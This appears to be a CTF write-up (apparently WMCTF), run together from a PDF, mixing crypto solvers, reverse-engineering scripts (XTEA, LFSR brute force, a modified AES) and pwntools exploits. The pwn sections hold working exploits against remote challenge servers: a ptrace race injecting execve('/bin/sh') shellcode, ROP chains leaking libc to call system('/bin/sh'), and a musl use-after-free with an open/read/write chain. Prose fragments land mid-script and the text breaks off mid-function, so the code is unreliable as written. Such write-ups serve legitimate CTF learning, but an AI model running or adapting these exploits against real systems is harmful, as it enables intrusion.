pow(a, (Q + 1) // 2, p)    c = pow(y, Q, p)    t = pow(a, Q, p)    E = S    # 4. Loop.    while t != 1:        for i in range(1, E):            if pow(t, 2 ** i, p) == 1:                break        b = pow(c, 2 ** (E - i - 1), p)        R = R * b % p        c = pow(b, 2, p)        t = c * t % p        E = i    return [R, p - R] def Legendre(a, p):    '''   The Legendre Sybmol.   returns 1 if a is QR(p), or -1 if NR(p), or 0 if a divides p.   '''    if a % p == 0:        return 0    # Euler's Criterion    return 1 if pow(a, (p - 1) // 2, p) == 1 else -1 n = 2117843261062449598004293938015161415459371371668170430315799079149546065057868475 7346042039830158587943317212798132485344732747170239886154644974255867824642713748 9119393011062932179176706222634850657137978152066894510229267994694592953689057828 553095582686088957079730979614261684887411889405151543286817647 e = 4096 c = 7960543844055364868287148633795142716685959511835217693066704697905585857732368807 7196331968890720138280335861846478151906630528186617757141156284674894419533494114 0311645043379804007377469244456415418854362272807067665055157997507127914177329742 7759037954640552890794018051954991800531763827961828499701115 flags = [c] for i in range(12):    tmp = []    for j in flags:        s = ModSquareRoot(j, n)        if s:            for s0 in s:                if(not(s0 in tmp)):                    tmp.append(s0)    flags = tmp for flag in flags:    print(long_to_bytes(flag)) ezl1near 按如下方式构造c即可每次求出secret的一项,可能存在多解,使用两次机会来验证。 from pwn import * import re import hashlib HOST = "47.104.243.99" POST = 31923 def proof_of_work():    rev = r.recvuntil("sha256")    rec = r.recvline().decode()    suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]    tar = re.findall(r'== (.*?)\n', rec)[0]    def f(x):        hashresult = hashlib.sha256(x.encode()+suffix.encode()).hexdigest()        return hashresult == tar    prefix = util.iters.mbruteforce(f, string.digits + string.ascii_letters, 4, 'upto')    r.sendlineafter(b'Give me XXXX: ', prefix) r = remote(HOST, POST) proof_of_work() r.recvline() n = int(r.recvline()) e = int(r.recvline()) print(n,e) r.recvline() ress = [] for _ in range(2):    c0 = int(r.recvline())    print(c0)    for j in range(15):        c = c0*pow(2**480+2**(480+j*24)+1,e,n)%n        r.sendlineafter(':', str(c))    r.recvuntil('cipher:')    res = eval(r.recvline())    ress.append(res) ss = [1] q = 2**24 for i in range(1,16):    res = ress[0]    cand0 = set()    tar = res[:20][-i]    for j in range(1,i):        tar -= res[20:40][-j-1]*ss[i-j] PWN red_high_heels 条件竞争, 尽可能短的patch原来的指令为execve("/bin/sh\x00", 0, 0)    tar%=q    for cand in range(1,1<<24,2):        if cand*res[20:40][-1]%q == tar:            cand0.add(cand)    res = ress[1]    cand1 = set()    tar = res[:20][-i]    for j in range(1,i):        tar -= res[20:40][-j-1]*ss[i-j]    tar%=q    for cand in range(1,1<<24,2):        if cand*res[20:40][-1]%q == tar:            cand1.add(cand)    print(cand0, cand1)    ss.append(list(cand0&cand1)[0])    print(ss) ans = ' '.join(map(str,ss)) r.sendline(ans) r.interactive() #! /usr/bin/python # coding=utf-8 import sys from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') if(len(sys.argv)==1): #local    cmd = ["./pwn"]    sh = process(cmd) else: #remtoe    sh = remote("47.104.169.32", 12233) def Log(name):    log.success(name+' = '+hex(eval(name))) elf_path = "./pwn" elf = ELF(elf_path) libc = ELF('./libc.so.6') def Num(n, l=8):    sh.sendline(str(n)) def Cmd(n, wait=True):    if(wait):        sh.recvuntil('>> ')    Num(n) def Execve(name, wait=True):    Cmd(3, wait)    if(wait):        sh.recvuntil(': ')    sh.sendline(name) def Ptrace(pid, pos, cont):    Cmd(4, False)    sh.sendline("%d %d %d"%(pid, pos, cont)) def PtraceL(pid, pos, cont):    for i in range(0, len(cont), 8):        Ptrace(pid, pos, u64(cont[i:i+8].ljust(8, '\x00'))) def GDB():    gdb.attach(sh, '''   telescope (0x00007ffff0000b20) 16   ''') #GDB() n=1700 for i in range(n):    Execve('redflag', False) Execve('👠', False) #shellcode ''' mov rax, 0x68732f6e69622f ''' Ptrace(1600, 0x2, 0x68732f6e69622f) ''' exp = asm('mov rdi, rsp') exp+= asm('mov rax, 0x3b')[0:5] exp+= asm() ''' Ptrace(1600, 0xB, 0x3bc0c748e78948) ''' exp = asm('xor rdx, rdx') exp+= asm('xor rsi, rsi') exp+= asm('syscall') ''' dy_maze 没去符号,直接pwntools可以定位maze函数,糊一个就可以把key整出来了 最后溢出有个xor,简单糊一 下就行了 Ptrace(1600, 0xB+8+2, 0x50ff63148d23148) for i in range(n+1):    sh.recvuntil('>> ') #Cmd(5) #sh.send('A'*0xFF) sh.interactive() from pwn import * from os import popen def getBinary():    popen("rm ./pwn/*")    s.recvuntil("You can run the solver with:")    cmd = s.recvuntil("===================",drop=True).strip()    cmd = 'zsh -c "'+cmd+'"'    ans = popen(cmd).readlines()[0]    s.sendlineafter("Solution?",ans)    # s.interactive()    s.recvuntil("==== Binary Download Start ====")    binary = s.recvuntil("==== Binary Download END ====",drop=True)    f = open("./pwn/chall","wb")    f.write(b64d(binary))    f.close()    popen('bunzip2 ./pwn/chall')    print popen('cd pwn && tar -zxvf chall.out').readline()    popen('rm ./pwn/chall.out')    popen('mv ./pwn/* ./pwn/chall') def getAnswer(addr,idx):    func = binary_text[addr:]    func = func[:func.find('\xc9\xc3')]    pc = 0    while pc < len(func):        block = func[pc:pc+func[pc:].find('\xB8\x00\x00\x00\x00\xe8')+10]        pc += len(block)        call_addr = u32(block[-4:])+pc+addr        call_addr &= 0xffffffff        if(call_addr == wrong_addr):            continue        elif(call_addr == maze_addr[idx+1]):            if(block.find('\x83\x7D\xFC')):                ans = block[block.find('\x83\x7D\xFC'):]                ans = u8(ans[3])            else:                ans = block[block.find('\x81\x7D\xFC'):]                ans = u32(ans[3:7])            return ans def getKey():    ok_addr = binary_elf.sym['ok_success']    func = binary_text[ok_addr:]    func = func[:func.find('\xc9\xc3')]    func = func[func.find('\xE9\xDB\x00\x00\x00'):]    body = disasm(func)    global key    for i in range(5):        body = body[body.find('xor   edx'):]        keyx = int(body[12:body.find('\n')],16)&0xff        body = body[body.find('\n'):]        key.append(keyx) def getGadget(gadget):    return next(elf.search(asm(gadget))) def genPayload(payload,pad):    payload = bytearray(payload)    for i in range(len(payload)):        payload[i] ^= key[(pad+i)%5]    payload = str(payload)    return payload,len(payload) % 5 def pwn():    # context.terminal = ['ancyterm', '-s', 'host.docker.internal', '-p', '15111', '-t', 'iterm2', '-e']    global elf    elf = ELF(elf_addr,checksec=False)    libc = ELF("./libc-2.27.so",checksec=False)    for i in ans:        s.sendline(str(i))    pop_rdi = getGadget('pop rdi;ret')    ret = pop_rdi+1    puts_plt = elf.plt['puts']    puts_got = elf.got['puts']    info('pop_rdi:'+hex(pop_rdi))    s.sendlineafter("Your name length: ","1000")    payload = 'A'*0x14+p64(0)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(elf.sym['ok_success'] )    payload,pad = genPayload(payload,0)    # gdb.attach(s,"b *0x42C889\nc")    s.sendafter("Input your name: ",payload)    libc.address = u64(s.recvuntil("\x7f")[-6:]+"\x00\x00")-libc.sym['puts']    success(hex(libc.address))    s.sendlineafter("Your name length: ","1000")    sh = next(libc.search('/bin/sh\x00')) Nescafe 1.1.24的musl 菜单题 有个UAF 比较白给    system = libc.sym['system']    payload = 'A'*0x14+p64(0)+p64(ret)+p64(pop_rdi)+p64(sh)+p64(system)+p64(elf.sym['ok_success' ])    payload,pad = genPayload(payload,0)    s.sendafter("Input your name: ",payload)    s.interactive() s = remote("47.104.169.32","44212") getBinary() elf_addr = './pwn/chall' context.arch = 'amd64' binary_elf = ELF(elf_addr,checksec=False) binary_text = open(elf_addr,"rb").read() binary_elf.address = 0 maze_addr = [0] wrong_addr = binary_elf.sym['wrong'] ans = [] key = [] for i in range(1,82):    maze_addr.append(binary_elf.sym['maze_%d'%i]) for i in range(1,81):    ans.append(str(getAnswer(maze_addr[i],i))) getKey() for i in key:    print hex(i) pwn() from pwn import * def add(buf):    s.sendlineafter(">>","1")    s.sendafter("Please input the content",buf) def free(idx):    s.sendlineafter(">>","2")    s.sendlineafter("idx:",str(idx)) def show(idx):    s.sendlineafter(">>","3")    s.sendlineafter("idx",str(idx)) def edit(idx,buf):    s.sendlineafter(">>","4")    s.sendlineafter("idx",str(idx))    s.sendafter("Content",buf) # s = process("./pwn") s = remote("47.104.169.32","11543") add('A'*0x100)#0 add('D'*0x100)#1 free(0) show(0) s.recvline() mal = u64(s.recv(6)+"\x00\x00")-384 libc = ELF("./libc.so",checksec=False) libc.address = mal-libc.sym['mal'] success(hex(libc.address)) fake_chunk = p64(mal+400-0x18) fake_chunk += p64(libc.sym['__stdin_FILE']+0x40) edit(0,fake_chunk) add('B'*0x100)#2 # gdb.attach(s,"b *$rebase(0xca5)\nc") ret = libc.address+0x0000000000000cdc pop_rdi = libc.address+0x0000000000014862 mov_rdx = libc.address+0x000000000004951a pop_rsi = libc.address+0x000000000001c237 pop_rdx = libc.address+0x000000000001bea2 payload = 'A'*0x30+p64(libc.sym['__stdout_FILE']+0x50)+p64(ret)+p64(0)+p64(mov_rdx) payload += p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE'])+p64(pop_rdx)+p64(0 x500)+p64(libc.sym['read']) add('C'*0xb0+payload)#3 payload = 'A'*56 payload += p64(pop_rdi)+p64(libc.sym['__stdout_FILE']+0x100)+p64(pop_rsi)+p64(0)+p64(libc.sym ['open']) payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE']+0x200)+p64(pop_rdx) +p64(0x100)+p64(libc.sym['read']) payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc.sym['__stdout_FILE']+0x200)+p64(pop_rdx) +p64(0x100)+p64(libc.sym['write']) payload = payload.ljust(0x100,'\x00')+"./flag\x00" # raw_input(">") s.send(payload) s.interactive() Reverse Re1 VM逆向 from z3 import * #WMCTF{} #flag3 = 106 - 2 #flag4 = 55 - 3 #flag1 = 72 #flag2 = 98-1 xor_table = [] for i in xrange(0x100):    v3 = i    for j in xrange(8):        if ( (v3 & 1) != 0 ):            v3 = (v3 >> 1) ^ 0x8320EDB8        else:            v3 >>= 1    xor_table.append(v3&0xFFFFFFFF) # de1 = BitVec('de1',32) # de2 = BitVec('de2',32) # de3 = BitVec('de3',32) # de4 = BitVec('de4',32) # so = Solver() # so.add(de2 + de1 == 0x11AB7A7A) # so.add(de2 - de3 == 0x1CD4F222) # so.add(de4 + de3 == 0xC940F021) # so.add(de3 + de1 - de4 == 0x7C7D68D1) # print(so.check()) # print(so.model()) def enc_xtea(c,k):    v5 = c[0]    v4 = c[1]    v3 = 0    for _ in xrange(32):        v5 += (k[v3 & 3] + v3) ^ (v4 + ((v4 >> 5) ^ ((16 * v4) & 0xFFFFFFFF )))        v5 &= 0xFFFFFFFF        v3 += 0x9981ABCD        v3 %= (0xFFFFFFFF+1)        v4 += (k[(v3 >> 11) & 3] + v3) ^ (v5 + ((v5 >> 5) ^ (16 * v5)))        v4 &= 0xFFFFFFFF    # for _ in xrange(32):    #     v4 -= (k[(v3 >> 11) & 3] + v3) ^ (v5 + ((v5 >> 5) ^ (16 * v5)))    #     v4 %= (0xFFFFFFFF+1)    #     v3 -= 0x9981ABCD    #     v3 %= (0xFFFFFFFF+1)    #     v5 -= (k[v3 & 3] + v3) ^ (v4 + ((v4 >> 5) ^ ((16 * v4) & 0xFFFFFFFF )))    #     v5 %= (0xFFFFFFFF+1)    res = [v5,v4]    # *a3 = v5;    # a3[1] = v4;    return res def dec_xtea(c,k):    v5 = c[0]    v4 = c[1]    v3 = 0x9981ABCD * 32    v3 &= 0xFFFFFFFF    # for _ in xrange(32):    #     v5 += (k[v3 & 3] + v3) ^ (v4 + ((v4 >> 5) ^ ((16 * v4) & 0xFFFFFFFF )))    #     v5 &= 0xFFFFFFFF    #     v3 -= 0x9981ABCD    #     v4 += (k[(v3 >> 11) & 3] + v3) ^ (v5 + ((v5 >> 5) ^ (16 * v5)))    #     v4 &= 0xFFFFFFFF    for _ in xrange(32):        v4 -= (k[(v3 >> 11) & 3] + v3) ^ (v5 + ((v5 >> 5) ^ (16 * v5)))        v4 %= (0xFFFFFFFF+1)        v3 -= 0x9981ABCD        v3 %= (0xFFFFFFFF+1)        v5 -= (k[v3 & 3] + v3) ^ (v4 + ((v4 >> 5) ^ ((16 * v4) & 0xFFFFFFFF )))        v5 %= (0xFFFFFFFF+1)    res = [v5,v4]    # *a3 = v5;    # a3[1] = v4;    return res def lfsr(a1,a2,a3):    v4 = a1    for _ in xrange(a3):        v4 = (v4 >> 8) ^ xor_table[(a2[_] ^ v4)&0xff]        v4 &= 0xFFFFFFFF    return a1 ^ v4 def gen_table(guess,length,addon = 0):    res = []    for i in xrange(length):        t = guess + i + addon        res.append(t & 0xff)    return res def brute(start,end,length):    for i in xrange(0x20,0x80):        # print('.')        t = gen_table(i,length)        for j in xrange(length):            tmp_t = t[:]            for change in xrange(0x100):                tmp_t[j] = change                if lfsr(start,tmp_t,length) == end:                    print('start {} to end {}'.format(start,end),i,j,change) import struct def brute2():    de3 = 1357369498    de1 = 2750330814    de4 = 2019106695    de2 = 1841087164    for i in xrange(0x10000):        de3 &= 0xFFFF00FF        de3 |= i & 0xFF00        de4 = de4 & 0xFFFFFF00 | (i & 0xff)        c1 = [0x556E2853,0x4393DF16]        key1 = [de1,de3,de2,de4]        res1 = dec_xtea(c1,key1)        c2 = [0x1989FB2B,0x83F5A243]        key2 = [de4,de2,de1,de3]        res2 = dec_xtea(c2,key2)        t = struct.pack("I",res1[0]) +struct.pack("I",res2[0]) + struct.pack("I",res2[1])+ struct.pack("I",res1[1])        find_flag = 0        for ts in t:            if ord(ts) < 0x20 or ord(ts) > 0x80:                find_flag = 1                break        if find_flag == 0:            print(hex(i))            print(t) brute2() # 0xb7ad de3 = 1357369498 de1 = 2750330814 de4 = 2019106695 de2 = 1841087164 # t = gen_table(106,0xf) # t[4] = 0xdc # print (lfsr(de2,t,0xf) == de3) # for i in xor_table: #     print(hex(i)) # brute(de2,de3,15) # print('.') # brute(de3,de4,28) # print('.') # brute(0xFFFFFFFE,de1,0x100) 后面那个拼的@有一个负数溢出,可以改到一个奇怪的标志位用然后用#改size,最后用-改到那个dead Re2 字符串解密在init_array AES+RC4 , AES的shiftRow有修改 ,RC4多异或了0x50 AES_key:'54 72 61 63 65 72 50 69 64 3a 09 30 0a 66 6c 67' AES_iv:'00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F' RC4_key:Hello from C++ # print('.') # brute(de1,de2,0x100) # Hah4 de3 &= 0xFFFF00FF de3 |= 0xdead & 0xFF00 de4 = de4 & 0xFFFFFF00 | 0xad key1 = [de1,de3,de2,de4] c1 = [0x556E2853,0x4393DF16] res = dec_xtea(c1,key1) for i in res:    print(hex(i)) # c1 = [0x4d7bd39b,0xab6cbe58] # res = dec_xtea(c1,key1) # for i in res: #     print(hex(i)) key2 = [de4,de2,de1,de3] c2 = [0x1989FB2B,0x83F5A243] res = dec_xtea(c2,key2) for i in res:    print(hex(i)) # c1 = [0x1989FB2B,0x1989FB2A] # key2 = [de4,de2,de1,de3] # enc1 = enc_xtea(c1,key2) # res = dec_xtea(enc1,key2) # for i in res: #     print(hex(i)) #include <stdio.h> #include <memory.h> #include "rijndael.h" // // Public Definitions // /* moved to rijndael.h */ // // Internal Definitions // /* * Encryption Rounds */ int g_aes_key_bits[] = {    /* AES_CYPHER_128 */ 128,    /* AES_CYPHER_192 */ 192,    /* AES_CYPHER_256 */ 256, }; int g_aes_rounds[] = {    /* AES_CYPHER_128 */  10,    /* AES_CYPHER_192 */  12,    /* AES_CYPHER_256 */  14, }; int g_aes_nk[] = {    /* AES_CYPHER_128 */  4,    /* AES_CYPHER_192 */  6,    /* AES_CYPHER_256 */  8, }; int g_aes_nb[] = {    /* AES_CYPHER_128 */  4,    /* AES_CYPHER_192 */  4,    /* AES_CYPHER_256 */  4, }; /* * aes Rcon: * * WARNING: Rcon is designed starting from 1 to 15, not 0 to 14. *         FIPS-197 Page 9: "note that i starts at 1, not 0" * * i   |   0     1     2     3     4     5     6     7     8     9   10   11   12   13   14 * -----+------------------------------------------------------------------------- ----------------- *     | [01] [02] [04] [08] [10] [20] [40] [80] [1b] [36] [6c] [d8] [ab] [4d] [9a] * RCON | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] *     | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] *     | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] */ static const uint32_t g_aes_rcon[] = {    0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000,    0x1b000000, 0x36000000, 0x6c000000, 0xd8000000, 0xab000000, 0xed000000, 0x9a000000 }; /* aes sbox and invert-sbox */ static const uint8_t g_aes_sbox[256] = { /* 0     1     2     3     4     5     6     7     8     9     A     B     C     D     E     F */    0x7C, 0xF2, 0x63, 0x7B, 0x77, 0x6B, 0x6F, 0xC5, 0x30, 0x01,  0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D,  0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4,  0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,  0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7,  0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2,  0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E,  0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,  0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,  0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB,  0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C,  0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5,  0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0x0C, 0xCD,  0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D,  0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A,  0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,  0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3,  0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,  0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A,  0x08, 0xAE, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6,  0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E,  0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,  0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9,  0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,  0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99,  0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 }; static const uint8_t g_inv_sbox[256] = { /* 0     1     2     3     4     5     6     7     8     9     A     B     C     D     E     F */ 0x52,0x9,0x6a,0xd5,0x30,0x36,0xa5,0x38,0xbe,0x40,0xa3,0x9e,0x80,0xf3,0xd7,0xfb,0x7 c,0xe3,0x39,0x82,0x9b,0x2f,0xff,0x87,0x34,0x8e,0x43,0x44,0xc4,0xde,0xe9,0xcb,0x54, 0x7b,0x94,0x32,0xa6,0xc2,0x23,0x3d,0xee,0x4c,0x95,0xb,0x42,0xfa,0xc3,0x4e,0x8,0x2e ,0xa1,0x66,0x28,0xd9,0x24,0xb2,0x76,0x5b,0xa2,0x49,0x6d,0x8b,0xd1,0x25,0x72,0xf8,0 xf6,0x64,0x86,0x68,0x98,0x16,0xd4,0xa4,0x5c,0xcc,0x5d,0x65,0xb6,0x92,0x6c,0x70,0x4 8,0x50,0xfd,0xed,0xb9,0xda,0x5e,0x15,0x46,0x57,0xa7,0x8d,0x9d,0x84,0x90,0xd8,0xab, 0x2,0x8c,0xbc,0xd3,0xa,0xf7,0xe4,0x58,0x5,0xb8,0xb3,0x45,0x6,0xd0,0x2c,0x1e,0x8f,0 xca,0x3f,0xf,0x4,0xc1,0xaf,0xbd,0x3,0x0,0x13,0x8a,0x6b,0x3a,0x91,0x11,0x41,0x4f,0x 67,0xdc,0xea,0x97,0xf2,0xcf,0xce,0xf0,0xb4,0xe6,0x73,0x96,0xac,0x74,0x22,0xe7,0xad ,0x35,0x85,0xe2,0xf9,0x37,0xe8,0x1c,0x75,0xdf,0x6e,0x47,0xf1,0x1a,0x71,0x1d,0x29,0 xc5,0x89,0x6f,0xb7,0x62,0xe,0xaa,0x18,0xbf,0x1b,0xfc,0x56,0x3e,0x4b,0xc6,0xd2,0x79 ,0x20,0x9a,0xdb,0xc0,0xfe,0x78,0xcd,0x5a,0xf4,0x1f,0xdd,0xa8,0x33,0x88,0x7,0xc7,0x 31,0xb1,0x12,0x10,0x59,0x27,0x81,0xec,0x5f,0x60,0x51,0x7f,0xa9,0x19,0xb5,0x4a,0xd, 0x2d,0xe5,0x7a,0x9f,0x93,0xc9,0x9c,0xef,0xa0,0xe0,0x3b,0x4d,0xae,0x2a,0xf5,0xb0,0x c8,0xeb,0xbb,0x3c,0x83,0x53,0x99,0x61,0x17,0x2b,0x1,0x7e,0xba,0x77,0xd6,0x26,0xe1, 0x69,0x14,0x63,0x55,0x21,0xc,0x7d }; uint8_t aes_sub_sbox(uint8_t val) {    return g_aes_sbox[val]; } uint32_t aes_sub_dword(uint32_t val) {    uint32_t tmp = 0;    tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >>  0) & 0xFF))) <<  0;    tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >>  8) & 0xFF))) <<  8;    tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 16) & 0xFF))) << 16;    tmp |= ((uint32_t)aes_sub_sbox((uint8_t)((val >> 24) & 0xFF))) << 24;    return tmp; } uint32_t aes_rot_dword(uint32_t val) {    uint32_t tmp = val;    return (val >> 8) | ((tmp & 0xFF) << 24); } uint32_t aes_swap_dword(uint32_t val) {    return (((val & 0x000000FF) << 24) |           ((val & 0x0000FF00) <<  8) |           ((val & 0x00FF0000) >>  8) |           ((val & 0xFF000000) >> 24) ); } /* * nr: number of rounds * nb: number of columns comprising the state, nb = 4 dwords (16 bytes) * nk: number of 32-bit words comprising cipher key, nk = 4, 6, 8 (KeyLength/(4*8)) */ void aes_key_expansion(AES_CYPHER_T mode, uint8_t *key, uint8_t *round) {    uint32_t *w = (uint32_t *)round;    uint32_t  t;    int      i = 0;    printf("Key Expansion:\n");    do {        w[i] = *((uint32_t *)&key[i * 4 + 0]);   } while (++i < g_aes_nk[mode]);    do {        printf("   %2.2d: ", i);        if ((i % g_aes_nk[mode]) == 0) {            t = aes_rot_dword(w[i - 1]);            t = aes_sub_dword(t);            t = t ^ aes_swap_dword(g_aes_rcon[i/g_aes_nk[mode] - 1]);       } else if (g_aes_nk[mode] > 6 && (i % g_aes_nk[mode]) == 4) {            t = aes_sub_dword(w[i - 1]);       } else {            t = w[i - 1];       }        w[i] = w[i - g_aes_nk[mode]] ^ t;   } while (++i < 44);    /* key can be discarded (or zeroed) from memory */ } void aes_add_round_key(AES_CYPHER_T mode, uint8_t *state,                       uint8_t *round, int nr) {    uint32_t *w = (uint32_t *)round;    uint32_t *s = (uint32_t *)state;    int i;    for (i = 0; i < g_aes_nb[mode]; i++) {        s[i] ^= w[nr * g_aes_nb[mode] + i];   } } void aes_sub_bytes(AES_CYPHER_T mode, uint8_t *state) {    int i, j;    for (i = 0; i < g_aes_nb[mode]; i++) {        for (j = 0; j < 4; j++) {            state[i * 4 + j] = aes_sub_sbox(state[i * 4 + j]);       }   } } void aes_shift_rows(AES_CYPHER_T mode, uint8_t *state) {    uint8_t *s = (uint8_t *)state;    int i, j, r;    uint8_t tmp[16]={0};    tmp[0] = s[0];    tmp[4] = s[4];    tmp[8] = s[8];    tmp[12] = s[12];    tmp[1] = s[5];    tmp[5] = s[9];    tmp[9] = s[13];    tmp[13] = s[1];    tmp[2] = s[10];    tmp[10] = s[2];    tmp[6] = s[14];    tmp[14] = s[6];    tmp[3] = s[15];    tmp[15] = s[11];    tmp[11] = s[7];    tmp[7] = s[3];    for (int i=0;i<16;i++)        s[i] = tmp[i];    // for (i = 1; i < g_aes_nb[mode]; i++) {    //     for (j = 0; j < i; j++) {    //         uint8_t tmp = s[i];    //         for (r = 0; r < g_aes_nb[mode]; r++) {    //             s[i + r * 4] = s[i + (r + 1) * 4];    //         }    //         s[i + (g_aes_nb[mode] - 1) * 4] = tmp;    //     }    // } } uint8_t aes_xtime(uint8_t x) {    return ((x << 1) ^ (((x >> 7) & 1) * 0x1b)); } uint8_t aes_xtimes(uint8_t x, int ts) {    while (ts-- > 0) {        x = aes_xtime(x);   }    return x; } uint8_t aes_mul(uint8_t x, uint8_t y) {    /*     * encrypt: y has only 2 bits: can be 1, 2 or 3     * decrypt: y could be any value of 9, b, d, or e     */    return ((((y >> 0) & 1) * aes_xtimes(x, 0)) ^           (((y >> 1) & 1) * aes_xtimes(x, 1)) ^           (((y >> 2) & 1) * aes_xtimes(x, 2)) ^           (((y >> 3) & 1) * aes_xtimes(x, 3)) ^           (((y >> 4) & 1) * aes_xtimes(x, 4)) ^           (((y >> 5) & 1) * aes_xtimes(x, 5)) ^           (((y >> 6) & 1) * aes_xtimes(x, 6)) ^           (((y >> 7) & 1) * aes_xtimes(x, 7)) ); } void aes_mix_columns(AES_CYPHER_T mode, uint8_t *state) {    uint8_t y[16] = { 2, 3, 1, 1,  1, 2, 3, 1,  1, 1, 2, 3,  3, 1, 1, 2};    uint8_t s[4];    int i, j, r;    for (i = 0; i < g_aes_nb[mode]; i++) {        for (r = 0; r < 4; r++) {            s[r] = 0;            for (j = 0; j < 4; j++) {                s[r] = s[r] ^ aes_mul(state[i * 4 + j], y[r * 4 + j]);           }       }        for (r = 0; r < 4; r++) {            state[i * 4 + r] = s[r];       }   } } void aes_dump(char *msg, uint8_t *data, int len) {    int i;    printf("%8.8s: ", msg);    for (i = 0; i < len; i++) {        printf(" %2.2x", data[i]);   }    printf("\n"); } int aes_encrypt(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key) {    uint8_t w[4 * 4 * 15] = {0}; /* round key */    uint8_t s[4 * 4] = {0}; /* state */    int nr, i, j;    /* key expansion */    aes_key_expansion(mode, key, w);    /* start data cypher loop over input buffer */    for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {        printf("Encrypting block at %u ...\n", i);        /* init state from user buffer (plaintext) */        for (j = 0; j < 4 * g_aes_nb[mode]; j++)            s[j] = data[i + j];        /* start AES cypher loop over all AES rounds */        for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {            printf(" Round %d:\n", nr);            aes_dump("input", s, 4 * g_aes_nb[mode]);            if (nr > 0) {                /* do SubBytes */                aes_sub_bytes(mode, s);                aes_dump(" sub", s, 4 * g_aes_nb[mode]);                /* do ShiftRows */                aes_shift_rows(mode, s);                //aes_dump(" shift", s, 4 * g_aes_nb[mode]);                //if (nr < g_aes_rounds[mode]) {                    /* do MixColumns */                    aes_mix_columns(mode, s);                    aes_dump(" mix", s, 4 * g_aes_nb[mode]);                //}           }            /* do AddRoundKey */            aes_add_round_key(mode, s, w, nr);            aes_dump(" round", &w[nr * 4 * g_aes_nb[mode]], 4 * g_aes_nb[mode]);            aes_dump(" state", s, 4 * g_aes_nb[mode]);       }        /* save state (cypher) to user buffer */        for (j = 0; j < 4 * g_aes_nb[mode]; j++)            data[i + j] = s[j];        printf("Output:\n");        aes_dump("cypher", &data[i], 4 * g_aes_nb[mode]);   }    return 0; } int aes_encrypt_ecb(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key) {    return aes_encrypt(mode, data, len, key); } int aes_encrypt_cbc(AES_CYPHER_T mode, uint8_t *data, int len, uint8_t *key, uint8_t *iv) {    uint8_t w[4 * 4 * 15] = {0}; /* round key */    uint8_t s[4 * 4] = {0}; /* state */    uint8_t v[4 * 4] = {0}; /* iv */    int nr, i, j;    /* key expansion */    aes_key_expansion(mode, key, w);    memcpy(v, iv, sizeof(v));    /* start data cypher loop over input buffer */    for (i = 0; i < len; i += 4 * g_aes_nb[mode]) {        /* init state from user buffer (plaintext) */        for (j = 0; j < 4 * g_aes_nb[mode]; j++)            s[j] = data[i + j] ^ v[j];        /* start AES cypher loop over all AES rounds */        for (nr = 0; nr <= g_aes_rounds[mode]; nr++) {            aes_dump("input", s, 4 * g_aes_nb[mode]);            if (nr > 0) {                /* do SubBytes */                aes_sub_bytes(mode, s);                /* do ShiftRows */                aes_shift_rows(mode, s);                aes_dump(" shift", s, 4 * g_aes_nb[mode]);                if (nr < g_aes_rounds[mode]) {                    /* do MixColumns */                    aes_mix_columns(mode, 